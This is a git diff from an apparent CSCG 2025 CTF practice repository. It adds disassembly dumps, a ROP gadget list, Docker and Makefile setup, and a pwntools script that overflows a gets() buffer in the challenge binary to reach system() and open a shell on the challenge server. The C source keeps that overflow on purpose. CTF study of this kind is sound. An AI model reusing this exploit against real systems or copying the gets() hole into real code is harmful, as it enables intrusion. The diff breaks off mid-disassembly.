diff --git a/cscg25/pwn/intro1/Makefile b/cscg25/pwn/intro1/Makefile index c3e36de..d8bb842 100644 --- a/cscg25/pwn/intro1/Makefile +++ b/cscg25/pwn/intro1/Makefile @@ -5,4 +5,4 @@ intro-pwn: intro-pwn.c $(CC) $(CFLAGS) -o intro-pwn intro-pwn.c clean: - rm -f intro-pwn \ No newline at end of file + rm -f intro-pwn diff --git a/cscg25/pwn/intro1/core.3707976 b/cscg25/pwn/intro1/core.3707976 new file mode 100644 index 0000000..d9dfe64 Binary files /dev/null and b/cscg25/pwn/intro1/core.3707976 differ diff --git a/cscg25/pwn/intro1/dump b/cscg25/pwn/intro1/dump new file mode 100644 index 0000000..ca91e4b --- /dev/null +++ b/cscg25/pwn/intro1/dump @@ -0,0 +1,202 @@ + +intro-pwn: file format elf64-x86-64 + + +Disassembly of section .init: + +0000000000401000 <_init>: + 401000: 48 83 ec 08 sub rsp,0x8 + 401004: 48 8b 05 d5 2f 00 00 mov rax,QWORD PTR [rip+0x2fd5] # 403fe0 <__gmon_start__@Base> + 40100b: 48 85 c0 test rax,rax + 40100e: 74 02 je 401012 <_init+0x12> + 401010: ff d0 call rax + 401012: 48 83 c4 08 add rsp,0x8 + 401016: c3 ret + +Disassembly of section .plt: + +0000000000401020 : + 401020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca] # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8> + 401026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10> + 40102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0] + +0000000000401030 : + 401030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404000 + 401036: 68 00 00 00 00 push 0x0 + 40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20> + +0000000000401040 : + 401040: ff 25 c2 2f 00 00 jmp QWORD PTR [rip+0x2fc2] # 404008 + 401046: 68 01 00 00 00 push 0x1 + 40104b: e9 d0 ff ff ff jmp 401020 <_init+0x20> + +0000000000401050 : + 401050: ff 25 ba 2f 00 00 jmp QWORD PTR [rip+0x2fba] # 404010 + 401056: 68 02 00 00 00 push 0x2 + 40105b: e9 c0 ff ff ff jmp 401020 <_init+0x20> + +0000000000401060 : + 401060: ff 25 b2 2f 00 00 jmp QWORD PTR [rip+0x2fb2] # 404018 + 401066: 68 03 00 00 00 push 0x3 + 40106b: e9 b0 ff ff ff jmp 401020 <_init+0x20> + +0000000000401070 : + 401070: ff 25 aa 2f 00 00 jmp QWORD PTR [rip+0x2faa] # 404020 + 401076: 68 04 00 00 00 push 0x4 + 40107b: e9 a0 ff ff ff jmp 401020 <_init+0x20> + +Disassembly of section .text: + +0000000000401080 <_start>: + 401080: 31 ed xor ebp,ebp + 401082: 49 89 d1 mov r9,rdx + 401085: 5e pop rsi + 401086: 48 89 e2 mov rdx,rsp + 401089: 48 83 e4 f0 and rsp,0xfffffffffffffff0 + 40108d: 50 push rax + 40108e: 54 push rsp + 40108f: 45 31 c0 xor r8d,r8d + 401092: 31 c9 xor ecx,ecx + 401094: 48 c7 c7 23 12 40 00 mov rdi,0x401223 + 40109b: ff 15 37 2f 00 00 call QWORD PTR [rip+0x2f37] # 403fd8 <__libc_start_main@GLIBC_2.34> + 4010a1: f4 hlt + 4010a2: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0] + 4010a9: 00 00 00 + 4010ac: 0f 1f 40 00 nop DWORD PTR [rax+0x0] + +00000000004010b0 <_dl_relocate_static_pie>: + 4010b0: c3 ret + 4010b1: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0] + 4010b8: 00 00 00 + 4010bb: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0] + +00000000004010c0 : + 4010c0: b8 38 40 40 00 mov eax,0x404038 + 4010c5: 48 3d 38 40 40 00 cmp rax,0x404038 + 4010cb: 74 13 je 4010e0 + 4010cd: b8 00 00 00 00 mov eax,0x0 + 4010d2: 48 85 c0 test rax,rax + 4010d5: 74 09 je 4010e0 + 4010d7: bf 38 40 40 00 mov edi,0x404038 + 4010dc: ff e0 jmp rax + 4010de: 66 90 xchg ax,ax + 4010e0: c3 ret + 4010e1: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0] + 4010e8: 00 00 00 00 + 4010ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0] + +00000000004010f0 : + 4010f0: be 38 40 40 00 mov esi,0x404038 + 4010f5: 48 81 ee 38 40 40 00 sub rsi,0x404038 + 4010fc: 48 89 f0 mov rax,rsi + 4010ff: 48 c1 ee 3f shr rsi,0x3f + 401103: 48 c1 f8 03 sar rax,0x3 + 401107: 48 01 c6 add rsi,rax + 40110a: 48 d1 fe sar rsi,1 + 40110d: 74 11 je 401120 + 40110f: b8 00 00 00 00 mov eax,0x0 + 401114: 48 85 c0 test rax,rax + 401117: 74 07 je 401120 + 401119: bf 38 40 40 00 mov edi,0x404038 + 40111e: ff e0 jmp rax + 401120: c3 ret + 401121: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0] + 401128: 00 00 00 00 + 40112c: 0f 1f 40 00 nop DWORD PTR [rax+0x0] + +0000000000401130 <__do_global_dtors_aux>: + 401130: f3 0f 1e fa endbr64 + 401134: 80 3d 2d 2f 00 00 00 cmp BYTE PTR [rip+0x2f2d],0x0 # 404068 + 40113b: 75 13 jne 401150 <__do_global_dtors_aux+0x20> + 40113d: 55 push rbp + 40113e: 48 89 e5 mov rbp,rsp + 401141: e8 7a ff ff ff call 4010c0 + 401146: c6 05 1b 2f 00 00 01 mov BYTE PTR [rip+0x2f1b],0x1 # 404068 + 40114d: 5d pop rbp + 40114e: c3 ret + 40114f: 90 nop + 401150: c3 ret + 401151: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0] + 401158: 00 00 00 00 + 40115c: 0f 1f 40 00 nop DWORD PTR [rax+0x0] + +0000000000401160 : + 401160: f3 0f 1e fa endbr64 + 401164: eb 8a jmp 4010f0 + +0000000000401166 : + 401166: 55 push rbp + 401167: 48 89 e5 mov rbp,rsp + 40116a: 48 8b 05 cf 2e 00 00 mov rax,QWORD PTR [rip+0x2ecf] # 404040 + 401171: b9 00 00 00 00 mov ecx,0x0 + 401176: ba 02 00 00 00 mov edx,0x2 + 40117b: be 00 00 00 00 mov esi,0x0 + 401180: 48 89 c7 mov rdi,rax + 401183: e8 e8 fe ff ff call 401070 + 401188: 48 8b 05 c1 2e 00 00 mov rax,QWORD PTR [rip+0x2ec1] # 404050 + 40118f: b9 00 00 00 00 mov ecx,0x0 + 401194: ba 02 00 00 00 mov edx,0x2 + 401199: be 00 00 00 00 mov esi,0x0 + 40119e: 48 89 c7 mov rdi,rax + 4011a1: e8 ca fe ff ff call 401070 + 4011a6: 48 8b 05 b3 2e 00 00 mov rax,QWORD PTR [rip+0x2eb3] # 404060 + 4011ad: b9 00 00 00 00 mov ecx,0x0 + 4011b2: ba 02 00 00 00 mov edx,0x2 + 4011b7: be 00 00 00 00 mov esi,0x0 + 4011bc: 48 89 c7 mov rdi,rax + 4011bf: e8 ac fe ff ff call 401070 + 4011c4: 90 nop + 4011c5: 5d pop rbp + 4011c6: c3 ret + +00000000004011c7 : + 4011c7: 55 push rbp + 4011c8: 48 89 e5 mov rbp,rsp + 4011cb: 48 8d 05 36 0e 00 00 lea rax,[rip+0xe36] # 402008 <_IO_stdin_used+0x8> + 4011d2: 48 89 c7 mov rdi,rax + 4011d5: e8 66 fe ff ff call 401040 + 4011da: 90 nop + 4011db: 5d pop rbp + 4011dc: c3 ret + +00000000004011dd : + 4011dd: 55 push rbp + 4011de: 48 89 e5 mov rbp,rsp + 4011e1: 48 83 ec 10 sub rsp,0x10 + 4011e5: 48 8d 05 36 0e 00 00 lea rax,[rip+0xe36] # 402022 <_IO_stdin_used+0x22> + 4011ec: 48 89 c7 mov rdi,rax + 4011ef: e8 3c fe ff ff call 401030 + 4011f4: 48 8d 45 f0 lea rax,[rbp-0x10] + 4011f8: 48 89 c7 mov rdi,rax + 4011fb: e8 60 fe ff ff call 401060 + 401200: 48 8d 45 f0 lea rax,[rbp-0x10] + 401204: ba 5f c3 00 00 mov edx,0xc35f + 401209: 48 89 c6 mov rsi,rax + 40120c: 48 8d 05 25 0e 00 00 lea rax,[rip+0xe25] # 402038 <_IO_stdin_used+0x38> + 401213: 48 89 c7 mov rdi,rax + 401216: b8 00 00 00 00 mov eax,0x0 + 40121b: e8 30 fe ff ff call 401050 + 401220: 90 nop + 401221: c9 leave + 401222: c3 ret + +0000000000401223
: + 401223: 55 push rbp + 401224: 48 89 e5 mov rbp,rsp + 401227: 48 83 ec 10 sub rsp,0x10 + 40122b: 89 7d fc mov DWORD PTR [rbp-0x4],edi + 40122e: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi + 401232: b8 00 00 00 00 mov eax,0x0 + 401237: e8 2a ff ff ff call 401166 + 40123c: b8 00 00 00 00 mov eax,0x0 + 401241: e8 97 ff ff ff call 4011dd + 401246: b8 00 00 00 00 mov eax,0x0 + 40124b: c9 leave + 40124c: c3 ret + +Disassembly of section .fini: + +0000000000401250 <_fini>: + 401250: 48 83 ec 08 sub rsp,0x8 + 401254: 48 83 c4 08 add rsp,0x8 + 401258: c3 ret diff --git a/cscg25/pwn/intro1/exploit.py b/cscg25/pwn/intro1/exploit.py new file mode 100644 index 0000000..d9f78bc --- /dev/null +++ b/cscg25/pwn/intro1/exploit.py @@ -0,0 +1,34 @@ +from pwn import * + +# Set the context for the binary +context.binary = './intro-pwn' # Replace with your binary's name + +# Choose local or remote +LOCAL = False # Change to False if connecting remotely + +if LOCAL: + p = process(context.binary.path) +else: + p = remote("a05e1cfb314bce1c87472c7e-1024-intro-pwn-1.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience +def send_payload(payload): + p.sendline(payload) + +def recv_until(delim): + return p.recvuntil(delim) + +def interact(): + p.interactive() + +address = 0x4011c7 +system = 0x4011d5 +pop_rdi = 0x401205 +command_addr = 0x402010 + + +# Example interaction +recv_until(b'What is your name?') +payload = b'A' * 16 + b'\x00' * 8 + p64(pop_rdi) + p64(command_addr) + p64(system)# Adjust based on your needs +send_payload(payload) + +interact() # Keep the shell open + diff --git a/cscg25/pwn/intro1/intro-pwn-1.zip b/cscg25/pwn/intro1/intro-pwn-1.zip deleted file mode 100644 index 57ab490..0000000 Binary files a/cscg25/pwn/intro1/intro-pwn-1.zip and /dev/null differ diff --git a/cscg25/pwn/intro1/intro-pwn.c b/cscg25/pwn/intro1/intro-pwn.c index e76d0b1..bb42e0f 100644 --- a/cscg25/pwn/intro1/intro-pwn.c +++ b/cscg25/pwn/intro1/intro-pwn.c @@ -3,37 +3,31 @@ // --------------------------------------------------- SETUP - -void ignore_me_init_buffering() -{ - setvbuf(stdout, NULL, _IONBF, 0); - setvbuf(stdin, NULL, _IONBF, 0); - setvbuf(stderr, NULL, _IONBF, 0); +void ignore_me_init_buffering() { + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); } // --------------------------------------------------- VULNERABLE FUNCTION -void win() -{ - system("echo no cat /flag for you"); -} +void win() { system("echo no cat /flag for you"); } void vuln() { - char name[16]; - printf("What is your name?\n"); - gets(name); - printf("Hello %s!\nI have a present for you: %d\n", name, 0xc35f); + char name[16]; + printf("What is your name?\n"); + gets(name); + printf("Hello %s!\nI have a present for you: %d\n", name, 0xc35f); } // --------------------------------------------------- MAIN -int main(int argc, char **argv) -{ - (void)argc; - (void)argv; +int main(int argc, char **argv) { + (void)argc; + (void)argv; - ignore_me_init_buffering(); + ignore_me_init_buffering(); - vuln(); - return 0; + vuln(); + return 0; } diff --git a/cscg25/pwn/intro1/rop_gadgedts b/cscg25/pwn/intro1/rop_gadgedts new file mode 100644 index 0000000..316dd5f --- /dev/null +++ b/cscg25/pwn/intro1/rop_gadgedts @@ -0,0 +1,112 @@ + + + +Gadgets +======= + + +0x0000000000401098: adc al, byte ptr [rax]; call qword ptr [rip + 0x2f37]; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret;  +0x000000000040110e: adc dword ptr [rax], edi; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax;  +0x000000000040109c: adc eax, 0x2f37; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret;  +0x00000000004010cc: adc edi, dword ptr [rax]; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax;  +0x000000000040113c: adc edx, dword ptr [rbp + 0x48]; mov ebp, esp; call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret;  +0x00000000004010a0: add ah, dh; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret;  +0x000000000040109a: add bh, bh; adc eax, 0x2f37; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret;  +0x000000000040100a: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;  +0x0000000000401217: add byte ptr [rax], al; add byte ptr [rax], al; call 0x1050; nop; leave; ret;  +0x000000000040123d: add byte ptr [rax], al; add byte ptr [rax], al; call 0x11dd; mov eax, 0; leave; ret;  +0x00000000004010a8: add byte ptr [rax], al; add byte ptr [rax], al; nop dword ptr [rax]; ret;  +0x00000000004010ce: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax;  +0x0000000000401110: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax;  +0x0000000000401247: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;  +0x0000000000401248: add byte ptr [rax], al; add cl, cl; ret;  +0x0000000000401219: add byte ptr [rax], al; call 0x1050; nop; leave; ret;  +0x000000000040123f: add byte ptr [rax], al; call 0x11dd; mov eax, 0; leave; ret;  +0x00000000004011d0: add byte ptr [rax], al; mov rdi, rax; call 0x1040; nop; pop rbp; ret;  +0x00000000004011ba: add byte ptr [rax], al; mov rdi, rax; call 0x1070; nop; pop rbp; ret;  +0x00000000004010aa: add byte ptr [rax], al; nop dword ptr [rax]; ret;  +0x000000000040124e: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret;  +0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x1012; call rax;  +0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x1012; call rax; add rsp, 8; ret;  +0x00000000004010d0: add byte ptr [rax], al; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax;  +0x0000000000401112: add byte ptr [rax], al; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax;  +0x000000000040109f: add byte ptr [rax], al; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret;  +0x0000000000401249: add byte ptr [rax], al; leave; ret;  +0x000000000040114b: add byte ptr [rcx], al; pop rbp; ret;  +0x000000000040124a: add cl, cl; ret;  +0x0000000000401099: add dil, dil; adc eax, 0x2f37; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret;  +0x0000000000401006: add eax, 0x2fd5; test rax, rax; je 0x1012; call rax;  +0x0000000000401006: add eax, 0x2fd5; test rax, rax; je 0x1012; call rax; add rsp, 8; ret;  +0x00000000004011cd: add eax, 0xe36; mov rdi, rax; call 0x1040; nop; pop rbp; ret;  +0x0000000000401013: add esp, 8; ret;  +0x0000000000401012: add rsp, 8; ret;  +0x00000000004011d5: call 0x1040; nop; pop rbp; ret;  +0x000000000040121b: call 0x1050; nop; leave; ret;  +0x00000000004011bf: call 0x1070; nop; pop rbp; ret;  +0x0000000000401141: call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret;  +0x0000000000401237: call 0x1166; mov eax, 0; call 0x11dd; mov eax, 0; leave; ret;  +0x0000000000401241: call 0x11dd; mov eax, 0; leave; ret;  +0x000000000040109b: call qword ptr [rip + 0x2f37]; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret;  +0x0000000000401010: call rax;  +0x0000000000401010: call rax; add rsp, 8; ret;  +0x0000000000401002: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x2fd5; test rax, rax; je 0x1012; call rax;  +0x000000000040100e: je 0x1012; call rax;  +0x000000000040100e: je 0x1012; call rax; add rsp, 8; ret;  +0x00000000004010cb: je 0x10e0; mov eax, 0; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax;  +0x00000000004010d5: je 0x10e0; mov edi, 0x404038; jmp rax;  +0x000000000040110d: je 0x1120; mov eax, 0; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax;  +0x0000000000401117: je 0x1120; mov edi, 0x404038; jmp rax;  +0x00000000004010dc: jmp rax;  +0x00000000004011cc: lea eax, [rip + 0xe36]; mov rdi, rax; call 0x1040; nop; pop rbp; ret;  +0x00000000004011cb: lea rax, [rip + 0xe36]; mov rdi, rax; call 0x1040; nop; pop rbp; ret;  +0x0000000000401146: mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret;  +0x0000000000401216: mov eax, 0; call 0x1050; nop; leave; ret;  +0x000000000040123c: mov eax, 0; call 0x11dd; mov eax, 0; leave; ret;  +0x00000000004010cd: mov eax, 0; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax;  +0x000000000040110f: mov eax, 0; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax;  +0x0000000000401246: mov eax, 0; leave; ret;  +0x0000000000401005: mov eax, dword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax;  +0x0000000000401005: mov eax, dword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; add rsp, 8; ret;  +0x000000000040113f: mov ebp, esp; call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret;  +0x00000000004010d7: mov edi, 0x404038; jmp rax;  +0x00000000004011d3: mov edi, eax; call 0x1040; nop; pop rbp; ret;  +0x00000000004011bd: mov edi, eax; call 0x1070; nop; pop rbp; ret;  +0x0000000000401214: mov edi, eax; mov eax, 0; call 0x1050; nop; leave; ret;  +0x0000000000401004: mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax;  +0x0000000000401004: mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; add rsp, 8; ret;  +0x000000000040113e: mov rbp, rsp; call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret;  +0x00000000004011d2: mov rdi, rax; call 0x1040; nop; pop rbp; ret;  +0x00000000004011bc: mov rdi, rax; call 0x1070; nop; pop rbp; ret;  +0x0000000000401213: mov rdi, rax; mov eax, 0; call 0x1050; nop; leave; ret;  +0x00000000004010a4: nop dword ptr [rax + rax]; nop dword ptr [rax]; ret;  +0x00000000004010ac: nop dword ptr [rax]; ret;  +0x00000000004010a3: nop dword ptr cs:[rax + rax]; nop dword ptr [rax]; ret;  +0x00000000004010a2: nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret;  +0x0000000000401003: or byte ptr [rax - 0x75], cl; add eax, 0x2fd5; test rax, rax; je 0x1012; call rax;  +0x00000000004010d6: or dword ptr [rdi + 0x404038], edi; jmp rax;  +0x000000000040114d: pop rbp; ret;  +0x0000000000401205: pop rdi; ret;  +0x000000000040113d: push rbp; mov rbp, rsp; call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret;  +0x0000000000401042: ret 0x2f;  +0x000000000040100d: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;  +0x0000000000401251: sub esp, 8; add rsp, 8; ret;  +0x0000000000401001: sub esp, 8; mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax;  +0x0000000000401250: sub rsp, 8; add rsp, 8; ret;  +0x0000000000401000: sub rsp, 8; mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax;  +0x00000000004010a6: test byte ptr [rax], al; add byte ptr [rax], al; add byte ptr [rax], al; nop dword ptr [rax]; ret;  +0x000000000040100c: test eax, eax; je 0x1012; call rax;  +0x000000000040100c: test eax, eax; je 0x1012; call rax; add rsp, 8; ret;  +0x00000000004010d3: test eax, eax; je 0x10e0; mov edi, 0x404038; jmp rax;  +0x0000000000401115: test eax, eax; je 0x1120; mov edi, 0x404038; jmp rax;  +0x000000000040100b: test rax, rax; je 0x1012; call rax;  +0x000000000040100b: test rax, rax; je 0x1012; call rax; add rsp, 8; ret;  +0x00000000004010d2: test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax;  +0x0000000000401114: test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax;  +0x00000000004010a1: hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret;  +0x0000000000401221: leave; ret;  +0x00000000004011c4: nop; pop rbp; ret;  +0x0000000000401220: nop; leave; ret;  +0x00000000004010df: nop; ret;  +0x0000000000401016: ret;  + +103 gadgets found diff --git a/cscg25/pwn/intro2/Dockerfile b/cscg25/pwn/intro2/Dockerfile new file mode 100644 index 0000000..a6bc717 --- /dev/null +++ b/cscg25/pwn/intro2/Dockerfile @@ -0,0 +1,55 @@ +FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS ynetd-builder + +ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \ + https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \ + /usr/local/bin/repro-sources-list.sh + +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \ + /usr/local/bin/repro-sources-list.sh && \ + apt-get update && \ + DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \ + musl-dev \ + musl-tools \ + make \ + xz-utils && \ + rm -f /usr/local/bin/repro-sources-list.sh + +WORKDIR /work + +ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \ + https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \ + /work/ynetd-0.1.2.tar.xz + +RUN tar -xJf ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && CC="musl-gcc" CFLAGS="-static" make + +FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS challenge-builder + +ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \ + https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \ + /usr/local/bin/repro-sources-list.sh + +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \ + /usr/local/bin/repro-sources-list.sh && \ + apt-get update && \ + DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \ + gcc libc-dev make && \ + rm -f /usr/local/bin/repro-sources-list.sh + +WORKDIR /work + +COPY ./intro-fmt.c ./Makefile /work + +RUN make intro-fmt +RUN echo "13ee0bca90243810a56ea7678bd89871dd93e390ae0094a79e0f788ac4bc9da9 ./intro-fmt" | sha256sum -c + + +FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS runner + +COPY --from=ynetd-builder /work/ynetd-0.1.2/ynetd /ynetd + +COPY --from=challenge-builder /work/intro-fmt /intro-fmt +COPY ./flag /flag + +EXPOSE 1024 + +CMD ["/ynetd", "-se", "y", "-p", "1024", "/intro-fmt"] \ No newline at end of file diff --git a/cscg25/pwn/intro2/Makefile b/cscg25/pwn/intro2/Makefile new file mode 100644 index 0000000..93ce0db --- /dev/null +++ b/cscg25/pwn/intro2/Makefile @@ -0,0 +1,8 @@ +CC = gcc +CFLAGS = -Wall -Wextra -g -std=c99 -g -no-pie + +intro-fmt: intro-fmt.c + $(CC) $(CFLAGS) -o intro-fmt intro-fmt.c + +clean: + rm -f intro-fmt diff --git a/cscg25/pwn/intro2/dump b/cscg25/pwn/intro2/dump new file mode 100644 index 0000000..c86d974 --- /dev/null +++ b/cscg25/pwn/intro2/dump @@ -0,0 +1,224 @@ + +intro-fmt: file format elf64-x86-64 + + +Disassembly of section .init: + +0000000000401000 <_init>: + 401000: 48 83 ec 08 sub rsp,0x8 + 401004: 48 8b 05 d5 2f 00 00 mov rax,QWORD PTR [rip+0x2fd5] # 403fe0 <__gmon_start__@Base> + 40100b: 48 85 c0 test rax,rax + 40100e: 74 02 je 401012 <_init+0x12> + 401010: ff d0 call rax + 401012: 48 83 c4 08 add rsp,0x8 + 401016: c3 ret + +Disassembly of section .plt: + +0000000000401020 : + 401020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca] # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8> + 401026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10> + 40102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0] + +0000000000401030 : + 401030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404000 + 401036: 68 00 00 00 00 push 0x0 + 40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20> + +0000000000401040 : + 401040: ff 25 c2 2f 00 00 jmp QWORD PTR [rip+0x2fc2] # 404008 + 401046: 68 01 00 00 00 push 0x1 + 40104b: e9 d0 ff ff ff jmp 401020 <_init+0x20> + +0000000000401050 : + 401050: ff 25 ba 2f 00 00 jmp QWORD PTR [rip+0x2fba] # 404010 + 401056: 68 02 00 00 00 push 0x2 + 40105b: e9 c0 ff ff ff jmp 401020 <_init+0x20> + +0000000000401060 : + 401060: ff 25 b2 2f 00 00 jmp QWORD PTR [rip+0x2fb2] # 404018 + 401066: 68 03 00 00 00 push 0x3 + 40106b: e9 b0 ff ff ff jmp 401020 <_init+0x20> + +0000000000401070 : + 401070: ff 25 aa 2f 00 00 jmp QWORD PTR [rip+0x2faa] # 404020 + 401076: 68 04 00 00 00 push 0x4 + 40107b: e9 a0 ff ff ff jmp 401020 <_init+0x20> + +0000000000401080 : + 401080: ff 25 a2 2f 00 00 jmp QWORD PTR [rip+0x2fa2] # 404028 + 401086: 68 05 00 00 00 push 0x5 + 40108b: e9 90 ff ff ff jmp 401020 <_init+0x20> + +Disassembly of section .text: + +0000000000401090 <_start>: + 401090: 31 ed xor ebp,ebp + 401092: 49 89 d1 mov r9,rdx + 401095: 5e pop rsi + 401096: 48 89 e2 mov rdx,rsp + 401099: 48 83 e4 f0 and rsp,0xfffffffffffffff0 + 40109d: 50 push rax + 40109e: 54 push rsp + 40109f: 45 31 c0 xor r8d,r8d + 4010a2: 31 c9 xor ecx,ecx + 4010a4: 48 c7 c7 9d 12 40 00 mov rdi,0x40129d + 4010ab: ff 15 27 2f 00 00 call QWORD PTR [rip+0x2f27] # 403fd8 <__libc_start_main@GLIBC_2.34> + 4010b1: f4 hlt + 4010b2: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0] + 4010b9: 00 00 00 + 4010bc: 0f 1f 40 00 nop DWORD PTR [rax+0x0] + +00000000004010c0 <_dl_relocate_static_pie>: + 4010c0: c3 ret + 4010c1: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0] + 4010c8: 00 00 00 + 4010cb: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0] + +00000000004010d0 : + 4010d0: b8 40 40 40 00 mov eax,0x404040 + 4010d5: 48 3d 40 40 40 00 cmp rax,0x404040 + 4010db: 74 13 je 4010f0 + 4010dd: b8 00 00 00 00 mov eax,0x0 + 4010e2: 48 85 c0 test rax,rax + 4010e5: 74 09 je 4010f0 + 4010e7: bf 40 40 40 00 mov edi,0x404040 + 4010ec: ff e0 jmp rax + 4010ee: 66 90 xchg ax,ax + 4010f0: c3 ret + 4010f1: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0] + 4010f8: 00 00 00 00 + 4010fc: 0f 1f 40 00 nop DWORD PTR [rax+0x0] + +0000000000401100 : + 401100: be 40 40 40 00 mov esi,0x404040 + 401105: 48 81 ee 40 40 40 00 sub rsi,0x404040 + 40110c: 48 89 f0 mov rax,rsi + 40110f: 48 c1 ee 3f shr rsi,0x3f + 401113: 48 c1 f8 03 sar rax,0x3 + 401117: 48 01 c6 add rsi,rax + 40111a: 48 d1 fe sar rsi,1 + 40111d: 74 11 je 401130 + 40111f: b8 00 00 00 00 mov eax,0x0 + 401124: 48 85 c0 test rax,rax + 401127: 74 07 je 401130 + 401129: bf 40 40 40 00 mov edi,0x404040 + 40112e: ff e0 jmp rax + 401130: c3 ret + 401131: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0] + 401138: 00 00 00 00 + 40113c: 0f 1f 40 00 nop DWORD PTR [rax+0x0] + +0000000000401140 <__do_global_dtors_aux>: + 401140: f3 0f 1e fa endbr64 + 401144: 80 3d 1d 2f 00 00 00 cmp BYTE PTR [rip+0x2f1d],0x0 # 404068 + 40114b: 75 13 jne 401160 <__do_global_dtors_aux+0x20> + 40114d: 55 push rbp + 40114e: 48 89 e5 mov rbp,rsp + 401151: e8 7a ff ff ff call 4010d0 + 401156: c6 05 0b 2f 00 00 01 mov BYTE PTR [rip+0x2f0b],0x1 # 404068 + 40115d: 5d pop rbp + 